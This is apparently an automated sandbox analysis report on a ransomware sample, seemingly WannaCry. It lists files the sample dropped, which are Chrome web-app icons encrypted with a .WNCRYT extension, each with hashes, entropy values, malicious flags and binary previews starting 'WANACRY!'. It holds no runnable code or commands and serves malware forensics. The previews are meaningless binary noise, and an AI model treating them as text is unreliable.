                                                                                                                        Preview:WANACRY!....;U.....C..s..w.40. ..u>..Cr....O'...sM..3c...|....~xre.C..[...5.m...m.5~..-.IFY.....g...):*a.=.{..J0S..JG..2....z.+2>..G.330O....7.XABw.7.B;.7.........H....*..]..%..h..:. ;.J.B..m.._.wH$....Kj....L...l..d.\)v...kvOk..x.{.j.y64.v..P...#.S0;...I.b....".......m.].........V..E...8..\.Pf...v_..A......1......0.tC..x...+d...F#=^kc.I.u.i...9..i8..yY..b....9.1.&........ZA.........qO......0.....G..2...wk0..!.../.Y.{[z.G0.^`...X.......nw..N.9...q.v.....78.t.Z.%G...........Q..m*]..`"es(.7.`..ym....Nk...;..".`.5.O...^`.....9.....x.M./S..4l.o.....tl..M.,.F...z.xl....e...xLP.r...w..j.1,..>.ue..'..].....vi...z.-...oE.y.N....,%.9..W.a=*.....Or....C.b..*....M.(s..3.W....HO3K.j.W.......R..C.-6.`o..=M....:.j.Mk.H..gE.N .J.Zl*.....w0....*W].9s..........DQ.K%-d. &.].E..Qd.....|....{?.~.>.8...*'(&%....M_........SVn9..4..A.v...Sr7....M3.Zd"..h.0[.q..7..'w...~.c..&"b>]..)dC...&......H.>1.0.(....o.......6U...f.du.3..(.....7..Tg$.........@$..4e....`.....

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\48.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3160
                                                                                                                        Entropy (8bit):7.934978469950989
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkKXxPjtylV36nA3MOuSdZEg/XrLiqabcdPLi0l7B64NaTsuoDxBXpJjgYu3sBfJ:oKXx5+3xMO5achdPLimkVTO1gYucJ
                                                                                                                        MD5:3F628E8F6D0949CBE366E1FAD6DE04E3
                                                                                                                        SHA1:488710E7E33A4D1196E53BAD6CE550BA4614592A
                                                                                                                        SHA-256:A7EDDA6347C06CAF61B14A6511D4BB8C1907D72EDBF0AE01EAB07491BCCBC387
                                                                                                                        SHA-512:B5FD9F353594528DE5BCCEADDBAFC5A11E7DA71098449FF7AD007FC2CB1C6F48B62681DEB28C7C235215BE8ED9895CCBF3672F6F9EDC2418421C3F96DFA34CD0
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..........Et.'T..R.a..!..2.4.......-(./V.....=...p.=.Hw.V.o.}y.=..,v...F....E/d..1.0...w.[U...2.o.O...jQ+f..EO.}.zZ.....4...[?...Jh.....~Zn@..:.......|k...y........N.....O....X...%....E.v^?.n...S5`..6...?sG..A w..d.b.p..DL*....M..a.f;Y.g.hh<t..I....5......./..2.. .n~...V..4.$.{r.Yn..2MUrs.Y...,........r...N.5...m%7w..........E.....'...F.. .M.5....ZM$n.B..|.M"2;..U..~..s...."...g.......4..3o....v.o(..2.?.....O.Y:.N...=..."..^.2...0....@../.n."..x......2s.72..<...;1/5...?[...._.P.x.W..._... ;..M.,.k..CO@SE.hc.QY.W..E..8..4..frC6....z...d\..|tT.g.e..:oqH...(@.....u..U.|H.y<.>.1+..0.....].=...h?..5)8.....dT$?tG..(....u...G.$..+....||95.....K##.3.._..0..{.Q.o.....{h........T.m...2Z.?_..NQ..C.,....Nw....g......x.|c.=....t.].k8=.........A...(. ...MV...~...p-jF}O.z....nv.>..g.j..yN...Y.a.c.....s...T_....a...vZ8.2u...Hqk...b.q.#4.f.....M.y.q..6...WDZ.??.;0.....:.|E.v..M>.4....?mi$4?...:6..97..!.;W...;L~.%.I.b...Ms..D{.(.".U.h......t7ZZ..M

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\64.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4120
                                                                                                                        Entropy (8bit):7.953941487558216
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:ogoMhffvkss+DmhyCu12jPxawZsE4tIgu0jucc8kY:DoIfnDgyC7jZYSg5qEN
                                                                                                                        MD5:2F1F2913C1CD1B5F578EA9177B72E736
                                                                                                                        SHA1:7AED8F67713B98508046866C31BF0B738F7E2E08
                                                                                                                        SHA-256:F7C5FB906766C6EBEB5CDADB1683293CF30260DD680E57A0D5A25CFC6C962479
                                                                                                                        SHA-512:0B46B2AF81E875A761AACFFCE1577919C216C4D6B4A4C9A6B604F98CCB0F7EE8BA6432E0E662A67EE385AD2E4220731434FB2758ABEF61DD6935D4CEF9DED2C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......'..0.....^|1KX...&I..2....`.9.9[.M.$.....p.....ZC..Rd.l`.Yp..X.."..L0.3.!.z.....A..L(.0....{.d.rA?{.8..J..S.........B\.Y..31Z..V<A:...[.;9&Z..~p`).Y..*..).p...Z!.4..f....X....._.......... .......+._.....F.........L.TQ.. -.....................R........./>r.Q.>....t.0.....I...Tu`-......t.O.13pJ@.C......(...Z.j...V....@&...bn.A...C. ...F.\.sT.%.NCC..:..........c.J....9..D.Bk..c..l.|..O.b.3...U.O.g.}.g6........".._...b.....PX.?.0..6.!f.%..w.~...i.VDFI..j.....F.P..gl0z.%..J.n:A~.....u.([.N..A;..,....F....f..h.g.X./k.......c..s......P.....R..@...t.=...>.#.^.S..@...q.n...(..M\.4YeS.";>.t.f.$.......M'.."}w..2f..M%...[.....{p.....j..N.+.+3.Rr......C.%.l.... {..,.X..1.T...N..L..")....;...Qz]'....t......-...L..y.pe.&....r....=u.....l*....h{iJ.Eq.d.+.I....."..h.9.h......#D.}|......m.U....B.S...Y.[..D....^)...#*3.3.`p.&..}-03...bz.,".FL...Tu...b...o.*a .!.$.......t.G..K.9.I.Wa....F.:....~....~M.....7G.....?l..t.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\96.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):6056
                                                                                                                        Entropy (8bit):7.96652846022447
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:os5tdF362QtrHo/NPBEF/x5341i7lrW3TvYh3hx2Dd4O+HsMz:LNQtrwPBU53rrW0BhxcdwHz
                                                                                                                        MD5:A8064DC9F4274954191453CDA3D4FA0D
                                                                                                                        SHA1:1F3E75E49C50FB1E00BD7074E01E1272FF4AE55D
                                                                                                                        SHA-256:13ADEF0541B8D3C2F5826DD51396156D4C05AC1B746800CC90F4FBFE7C71DBBE
                                                                                                                        SHA-512:0D47273C8D309C4E70B8834ABFB6B50D0D59E4F5A12A88EEE8E52D1701F371A9E931D69412DBC2FCDE46F98EEFC3AD348B36D3E0FBAE8F31EA32853F449D7B01
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....R..2.....w.....h.r.>]..+.@,.aG...."....k...V...{".........d..;.;(....).d....4X._]">.._:...Z..M..R7.....^@....a..3.!..Y.W|Pv.......m.z.T..z...i.E?....L.z....P.d^.6...l..F.!G.l...E.m*.>...:l5..$g......5......,l....`.....9.j..;P.7>mK..k..o9LZ.............f.SS|..._..Z....l..I.+.`P+....3*n.ly.J.....X.$~.T.mk=..:L!...R_...T@...=?...v....5...6*.D..yD2B..2.9.f,kp.n.d..(6.......c. ...7... .a..,...d.S}t..:.\.. . d]....G.....C.S..K....5-...3....8..7..R..b..N>u..4..q...&....m....M..wk...mx._...[..f....}.=..24...(...qt...y P3=z.A..<...SV..5..P......A..3. ..>..6..J.;.:O../g......].e.....s....1.Ux.5^.y.6..*.U8.y=....6.n..N.%,...y...x._.O.M'.0}.J........=....vD.]k..t.....WGHz. ..|'P.Y.t........5....-........9..l..UTq%A.+<T..8.%..AL.4.<.....J.....DFt..$P.m.].....t....>.o.......]...?$._...b.A.....i.....'-t{..t.mADUb...W.#j......c..W..q..H&?i:.8],....*..F.....l..........F..`...}.....4.k.2..7....G..g.n.+P.].m!...$....<.p+e.}..&4..m..=...

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):10184
                                                                                                                        Entropy (8bit):7.983031097153103
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:hEwjfZg/0K0GbBXoB5i1zArDubUcTbP/QkSeKMvkfnK/rzs0X/V:hK0Io2IDubUcTbnfSeXv+K/vtt
                                                                                                                        MD5:47D8E58E25147106A587A3AC4CAAF373
                                                                                                                        SHA1:FD961D5556CD295D23933484DA6B09D3E72C9096
                                                                                                                        SHA-256:8E04A708D9B35B3257DCE7B1BE73B27FA8A0E3701A9952FC41A8E5ACC6F09131
                                                                                                                        SHA-512:C411C4DD4EB18FA4FEF805F4BBBC348D1422187C16466B29F798A045723FA2759C4F49219B4B7ECB2F7FED73C26A4395ED8291439A92465A413BA8A92AB87C38
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....Sa.5..@...."AUx..]....3.!....}.?..../_...n.O..>..G..2.%b1...qK.U....B..W.6,....m..,bNoj.RS..@YbB........D.yr+*.7...W.....''h..d..3..Pr.=...v9XcD?..$cL..exL..X......h..{N.#a...M..E.aT...Hn..Ot2^...8.r.z..R.!.a..F..IW.(&gd.........$..9.03l8.....&.........l.......27.[.....G.?...I3<{y..A....P.....[....\^....F.d8..].L..W....._..... ..W..{;.Z.[..xw#.....b .B...#.z..<S....)zY.....a...5....o0...6............AiI@.`..,.0g....|..`.8.9I...\..[/B.V#Y...X...Vp...::..u .*.....k....9....*D2..%0.(.z....:Hh=.."R,w._... @Km.>.6...d...^..j.'of..D..-...w..Z.......r...0....K.....K......U...r......C.c$...O).w.l.q.H.q.F...{7../..T..m...>.6tk.T...B..E.-g..Da....$......p.]?].z<#.......C....4...<R.0g..BB|..g.f.q.SN$._._\-F.+.D0.d.@w..$.......Q.h;.<.n..%...,"}q...K.W.k..?.L=.n.}G+4.jI.......V.........M.\....{..|.9F`HG@.){.Q...=J.ZM..Wa.G..cZ.|j..&8oK. .Yrh..{G.'.{?W.d.b..0..I....4..fr.z.E....Ze..r]...../w...0...6.q..........0.F....\..

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\192.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):7208
                                                                                                                        Entropy (8bit):7.977956322636379
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:R0DMuiI7oEFRpP44dmyWGyMzDg/o+OuMwRdX58:R0YuF4YmKXzDypV/X58
                                                                                                                        MD5:57885E72A0B2C207D1D5DEA644A34E76
                                                                                                                        SHA1:B3FB7A4B220735D50DE1E5B11BD0790E617EA57C
                                                                                                                        SHA-256:6BE0E60B4DEADAE36DA7FB50EA7ECBF02BF0A6ACAE9F5AB9C4D0CFDAE7727088
                                                                                                                        SHA-512:56320794B29CB3353FF0BC7AEF8A1D720C70135A332C9F0A8A9A21D76E21DFCE4D82A8969D93296AFCF1F7BED0891338F50BE77AFF955ECBF443B0FFAAB5B549
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....Ic....}..YK.....W..A....F.....%...m...:N:.e..U./z8..B.S.'w......Aq......n...}.[w.B6T.$.hNgj.K.E....../)...}.M...+.[L.(.o.....d}kl.#."..........~f...-Bh.fS..pN|......8..z.../;...AV.......CG:.9....Q......1h..og[`......x...wt.=.B...Z..:...q.............K..".~Nz./.Z.3.,..Y*. e2.g..p8..k.&......... ..y....U..'....n;.5....4.@.7u.&.-...U......3N.A2.....z._j....&%".....P..@.}n?...M...3..x...rz.q.........2....!.t.x..J.91..\na....]K.^..,..K.h..R4....e..+.ph|9>L.l...lO.r.EP..ns..[=..,a....m....C.?q)?\.l.A....F7....6...1.1.c.....*"..d'../.0.n...}./..=qP.-s.........m.j....fA..,....f1.G..?.....s^._'.];.Z..U.......^([./.l..-...d..G.....".........w.....#....d83$.|v].r}....{....f.oC...13............._A...:Y.=..}......"^^..c,G#.4..,...8..(..yj+1."+.....Wx$c.`..A}3",.[.X.vd......p3C.:...........O\.N..d...U...../V........x.-.v.V..%{.......K...4....;I.r"LY...p_.J.E'X...L.).{J.CG.....h}..rfY. ]b.x[..~^.`$p.D'..w......I.6.....~W...t.....w..N.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):25128
                                                                                                                        Entropy (8bit):7.993271707934947
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:6Qyjrhfkz7Q6spTB2dWpua+t4Go4TZOtQqVmB:xyjVM3YIUpmyWxqV2
                                                                                                                        MD5:B4CAE9CDEF6E0A524375F77ECC8BCC45
                                                                                                                        SHA1:01AECE449E93CD0C933EBB0CBB5D185C97ECA087
                                                                                                                        SHA-256:4FD452B60882C8BCF524D0F2B31F75470896AAB4809196FDACC9D207142F8E3C
                                                                                                                        SHA-512:3C7EEB56D3DC8710E17D7E6F050E050F67E27BDA5AB9BB089C49062D0DDA43C61968222F8EEE35C4C018541B8CDE2C09CF691D18DE5747BEDC53BCEDBD0E0E0F
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!...........zPx..TA..e....N....|.m..".@.R.9.j6.........!..}...e7A^t.R..8..t`..+..;x......t.-....~#k....^....xzO*x.Bz..._...\x_...y%.......d<.-..mBy@..ed...........1...X.z.....J.Q.J}...r..........n.}...{....._<.h.X...G;`......,.Ca...!...m.X.5.....h.}8k......a......Y.l...`s.S......ol(J....6..^.pR.3....c.;E..2...xJ.KVb....f.Mo.k....k.S:.x.H..@....s!..<-..o.b.......6E.>......O... ....mS._6x.....@.e...+..6.p.l..2.K.T?...8.-(.~...9....K..>.@V-....(..).a..9S......)...E.....yk0.pG.....6..m..:... .|K.NS@.)J.20...S..8....!_>.n.....T.7.b..F..l..!...... .p..?..g.....g'#...-)..W`.[u..zR..cU0.tW[b.<.s...%~.....5z[..{ ..4.Qy.-.Er..ee}.....<......I..Ex.x..<D..w.....E..4.~....*%..z4.&Y.............E.......&t..E.x.=...U....%.d....."P!...,...%3.....{...e,......QT9.1...9y.i.Y...o"...]......^].Sf3L...r.w....t.-.W^....^.V ..*...O..]5>.../.....'./<.....a...S.of.z....nr..z.Suk..'..:g..v5w........s..$'.sq=....q..(.....?=.6...R.........^7:.*`.....t:....

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\32.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1784
                                                                                                                        Entropy (8bit):7.903059196954521
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkR39RN3cMW6bhwoD9frKh5SMbs1kgabFh:oRF0odrMUkUkgMFh
                                                                                                                        MD5:1BBD971D051475C79B33AA8EC4E11D63
                                                                                                                        SHA1:98C06CFE73603B32579558FB8EFF7F0E93EF693D
                                                                                                                        SHA-256:B492529A91F2998155DA9388135A66C5AA0058B26D1678055684D75ED72DA5FF
                                                                                                                        SHA-512:0895AF1B87D5BA85BF5E249FF3389F9BE18B69045C056112F00FD9F88F0B13D5318DE6ECB2BA0553BA2C972A371F37403C35504F56C115952DE52C366FA64EFF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......V?{BP.E........>..%D/..[0.EU.W.=....R... .&.....@.....(1p.W...$(,.h....g"..//&.....Hm....}I...}*;8....R.aiS.e...pB.o1.M(..j..n..Y......0V...)y......<......i..8....!.=..v.<=i...k.P.FF.y.O..*...."X.+0......,...T...9n.m4Ii>..[h.4.v...^..5..R...................O.:...K..u..._....,.. ..'V_.%.h...U.R...U.9|S..D,90...{.X9F...96..\..=>..Ekm.G..Wm.....8f....{...,P...L.c.0.R...m.|.#h....<B.....n.).p2.g.Q.J_....."3H.8....V...".M..%W..dT..e...C..........(Kqs..I.$/....G......3....sV...J.&.........8>o.U......i...e.o.xC.U~yO.6.....$e.dq{..f..6.F.F.O....lD....@......k}._..9....2z.i]._.C#.~..........i.+A .....%..mO....5..9.6.....C.L.m..$..otp...F..q..&2......H..|......9...........rr..k.....0..;H.n.......o.`.."..c.-._.Q...u.P..........+EX..~.....<.....u....M...#.M...)...*NU...2#$.G...n..{.....*.Z42..CF..1.o.mF.......o.sg.K..).[.ps....\.e_..T.qb.<...'; .M..T...zoi.n(|.M#t.\7...}.....m@X.@.........T.6..:.poS`>.gf.q.....$.l.g.x...v.S.6.O.r.W=.....Ax.....:

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\48.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2712
                                                                                                                        Entropy (8bit):7.926687950574174
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkb11NbWcGQuLRDhxez9l7CskQ2WVVpygEwQq/wRjltvLuz3JEzKuP1qrYpSO/:oFbWcBudhMuUzswQzJltDuz3JUvqrY48
                                                                                                                        MD5:9DFDDF79226ED21C09B2E23D1D71D554
                                                                                                                        SHA1:53977F8423F6E6FC8FCB277919431D97C587409C
                                                                                                                        SHA-256:BD24AEDBAC305CA2F68193AFE8D8EFB5A4AD389A5020CBCFA9EAFF4D8305BF4F
                                                                                                                        SHA-512:C86EAFD33A29EAD9FBE14A483EB8F7DA846EB409D3F7D82CD7794440D8F4BA032E22C2C023BF8D7524C65ED4418DE9D763D90C78FC3D10B63E088C051C6A447A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........A.......f.."........I%2$.l.Ud......$.....s...a8S...8..4)T....(.C......../.\..P"......$..7].*..j.-.3 ?......Rt.Ul...g...].'...........7..%.......y......[.....SI.....S...l.O.j.../...a4!.<F.-.2P....n....].j.M...I..+ah.)?....I..r.B.<5cD.=b....u.......Y..j..O..x.1.1.5.......hziw..2...Q}.xB..]o.1...4N.r..,.]....t'..g......1.{.g.S...........d%.o..].i.%.R.7Xf\`O.......ASj.$2...E.$]...j vW6U."%.M].x..F...zA.d.....G.7..{n....~....5........"..N?...Wk...aF........HGC.k.4.FK.LQ........L.h.W.."....I)..4...:.....3.VE;.+....k.3."...w~.....CWa2...Y.....,.Q..:.6w........7....5.e~.C..W..,].D.).....m.bh.A....6.rs..{.bCu.j.K.[+......._e...o.B....)....7..E.{.dO$..t....6.r.&6.g.I_y..>.e........aK...Fe...z...!..u4M).o.^v..d.}{!x.....W..S.,.Pf....n.yA.~.....En'%@...e+.2....O...>.....o....._ }..N.{?..$.G.....mQ-Q....A.D........c...5@...b>.uy.[+...E$'.5A.....Z7..Ar..@....3......%@.....3K......Z...&T..gg.1&_.d.$...d....[..k}lJ..`+.'..).A..c./..a.(...

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\64.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4056
                                                                                                                        Entropy (8bit):7.9493491239586875
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:o2qwNhY95CSObYb4RSpLFZvqSQQ0sMvM1+G2KI:mghY95CBkb4RSpLFZvqzQ0HDf
                                                                                                                        MD5:C0FB273EC704B1A21C7EC8E641048EEF
                                                                                                                        SHA1:55B52055CCAE7409E4A66B2B6116A490F95368DF
                                                                                                                        SHA-256:26596C43CB935367361A788F697779078AF634BB24A060E27DC8165AF6A5EB72
                                                                                                                        SHA-512:B291E7FFA8771D5A6B2A1CE2806AB737417F2819786A322ED36D5C8AAFE7925B0D3B702563B309D478C1B95DD09BE5633B8BC9292B232B299DAD51F946123DF8
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........-...J....}@....9.M.[...a/.-i..GA]=..U..t".p8I.3.!.1..W.@....%#..&.0'Z.(...{......~...%).Q.......T@............m;...S.5....z{n.+.X.......R....O=.ia.g...`._M...n#..(&...QZw.Y+.....8Bp3;.,.3..(...f.."1...l..."/..kb....8l.z......1.*..9.......+............`....#....%...sD....c...)....33T_E&b....l.y....3V...U....G.I.......'..D..D.%A.......r.djG.}.....G.....\..`~.Zj...<.j...z.K..;:...............c...6k.........#du...3xN...<.K......[P.X..@...by..~....~.<..R..4....{....m..K.D\...E...Q_...V.b...l8..H......._.3....%.t...Ix.z@..-......P.)...D.ur0..c?a........pa.........r*+.s6KB_...).Wz..R...'[..4.z...u.R.[.4.........*..9O..4C=.>...$...|.,..S....*...Y.X..........@:r.....c8...kf.F')..XY.rH...0G......VK.......(.Y.I..JL,/K..._..K...I.o\...5Bd.ur._}C..r..Uf.o.~( ?...}Pw....h.s...G..Z......m:.{V.nK=.,.B:I8.9P.~.R..f@$...8M"8[D..>.D...@....F.20.:..5..M.........{#..+.B..1.n...1.........i..B....J.4.r_W~.n..U.).....e&.l..:bC.&gb.W.%3..-.Nc.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\96.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):6952
                                                                                                                        Entropy (8bit):7.976904493695628
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:odiwroXWG5esEa+kXKmga1eU5sGX5YlpnYzptfb5xBX8dL2VqMozAuLSEB6hsYuj:ReomGUnahV19aYXz5o2GpIh07Tn
                                                                                                                        MD5:05A146F57B0876FAAAE7956D67C1DF3C
                                                                                                                        SHA1:22ACDE2ABC4EF2823004F47CE1D99850EB2FFD25
                                                                                                                        SHA-256:DDF6780083DFF049D725D8B47EDE653F7D2ED815513CC047BA96DE4460F1776A
                                                                                                                        SHA-512:5773AB32AFFB2B081719D690F214958887858177552E152D1AFE643057AC9142FF6F8F9F963DE2EDCD6CCDB01CA23AA64BCE3D4B142F351F291B162626ECC666
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!...........]mg..]..V.E......Y...*6....$.j...H0f%D.d2.MS....0..F.|BVI..-.W..8i.; .h.=+.Yr..h6.i.....c.....!..#.!.% .....)l[....b......B...(...}&;.......$I..p...&P?....b...O..5...y.......s...~@:..O*...............cS..'<%.2.7...M.C.]...V^3u.G]..............2...1...J.r....v........M.-.....;\..o.......8 ..NgE......5w.g.|.I..i...u...+DO..+)/.{f..#...S...G.._Of.c...\.... ..D..O....mT....<,...T_5_..;~L.c<..^<...$/Q.0..9......G=...#^..q?.u.5.q....Q.L./+H.M.4.....E.P..?..U[-.%*...u].}M.LP..>.f...Ea6..i.D.G....k.....Ml..o..C.e#Zj...da.nc.=(...b.y.....O...Gy@....s.o.Hu....y.b...Z.(..>.C......p.l.k..-.....w.e..........Q..vl'...*...C~.X.p.:..f.G.5<.;Qp...u..m.8..M.vU.[...{..h.....#.%i;....W..M.b.6g.?b.7e6......V.D/..:.o...W."Y./.Y.....L...t.R` .>..f.#b5nNY..`...<..\.D..............[.....`]..<.........Ne.p...z./q..O.i..FuHG5.;.>gH=z......X.....^...=...ti...LQw..."..7nN]....../.~....._....b+..;.....R-!...-.$%.W...S.M:C..G......S.eMX..k.c...

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2616
                                                                                                                        Entropy (8bit):7.92095146062151
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkhslqt9oavzaSqyccqcjd1UH8IqpNP6okbn3QSR7mcIeLOOPAIoN:oXtOavzaHOO8fpNPiFR74eLOOPzoN
                                                                                                                        MD5:DB4D81D49340C0C8816F1A1DABD39F8D
                                                                                                                        SHA1:87ADDAE23EB5574469F83D43C5D377DBFE35AA17
                                                                                                                        SHA-256:FCED7937FD911CE5B730932882E884B597751AFCCC874994D4BC09114B8C3F46
                                                                                                                        SHA-512:2C106060B4304081D9512787A904CD46C19E2586B0A7240015BA44C9BB0EAEDE560EAB77D867FA6B47F36F8E1866DE8BD12B80E9BC01AF1863518650343DEFCA
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....({.3.?......-.E..[.Y%.@.J........?.=.[[E.Zs...{.6]w..j.Q9.(."D/.........p.f.1..E>...r..=.........c.!..D...J.l..B.K....._...K...D&..#d...S.+1..f.y...*...N......nV-.,.&h.>.T..,.~..\.>....9.X...m./.'V.?..@..-.L.i....5.+x..j.,en|...@r$......=.............X.M.\ ...'l.k._..COf.?l..<w.{..q...e..@@...ClSgc..y....i....U$'.m......\.?.n"...m...mH.......d....^4u..a...VF.cDk.uz........ .f.du\...Q..4...9......[.PH..N..|.....m..........5]L..-....N..!...cJ..z...!......I.......Y..39...a..l.2....P...n.....F..)uX.{q..d....t....}.N..._..N.suUf........,.._.Dw+.p.WN`...=d.....g...Jb.UJ.......L.l.i.........9..A.-.\]>.:.WmJ..K..[..\~.MX.-.Ua...Y.T.V.C..^..K.{M@.J........mAz.hQ..[.8$$.o...8..*....Q6&d....=L.It].?=..'..E.i...#?./k;.F..dN%...I.;.U..i...G.RA.*..HC ....J^.8..0..}...&..+'.....=.....<b.p.....Z..A3.....e.....[(-5m$5...3.&...3.GiY..\.-..~.)..B.j|.&5.x.E.{../,.v.B.o..ZD.b.........[....+.%...o%...z.!..S..h..a......q..R...&.4.)m.z.=..W

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\192.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1592
                                                                                                                        Entropy (8bit):7.871470995234104
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkEkGvCitg/uKJf2IGYEhm/kWn/X9YxuR1ovL7k:oEh6EauKN2zhm8U/OxuRCvL7k
                                                                                                                        MD5:59D3C78BF8296F187093EFAC79A8D978
                                                                                                                        SHA1:67816BB6CEAA10812E4184A27C9ED0284141507E
                                                                                                                        SHA-256:0131E5C78E124BA7796E0E9A203CAF2CCE4A8B81C40F2E23203FA59BBD851A60
                                                                                                                        SHA-512:4ECB83ADAA613A50B829C76BB1610025D2C37536551B8990D71D587DF864125CC86348B0C313AEC8D5AB2A6FD2C435B2CD207253B6DDD850FEC4F84B5973D543
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....CMlg.......h.G..I.v.4...lO....(M...w."...=c >9XI".&.$S........{.U{.z_0....B.E.x..3r..4qm.K9vi......C=..i.......2w.$j..(.....&..rk...........Zc...~.i....!q.n......V!.$...G._.1..@.._%k{.j7y1(^.q.....4.H...a-q...4.A..O.......L.7...........y.e.H................Y.[...c...b.c2....j....r......=.......V..x..W...%DPS.i!C4?..%.8Z.T?..H......XH....xV....bRg.J...3 ....q|.np.S...?...X......#.....n..A..q...o.."........s!{5.g..@.<C}.I........]..9.U.t........`.D."....9e...X..W>..:.W..I.p|......`.}.......-./.ZhO...k..^..R.!.I.....^.F..A.(W..2p.C|.1.._.",...u.+.3..b........E_*..mNU,.....u...s._.....(.<..V..5.....F5i.....;......._...B\.}.?%(.2p.S.......O...?.$5.)6./..7.7..4....$.O..BW..W.....{D.x&.\.+........H...u.g..3z6..N.(...Ag.s.IHg...mL.AL.V6L.p....c-...@......[.@W...'.:85K...T...iR..9p..K.-8.}...8t....Z@E.e.e.F.T.F}.#..h~...5.3JF.*..9....G...Y..J...bV[B.7....|...F.e8?Kt.Er.`?......$......b..K@.lc...k...=U...+.p..I...A...J5.~.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\256.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
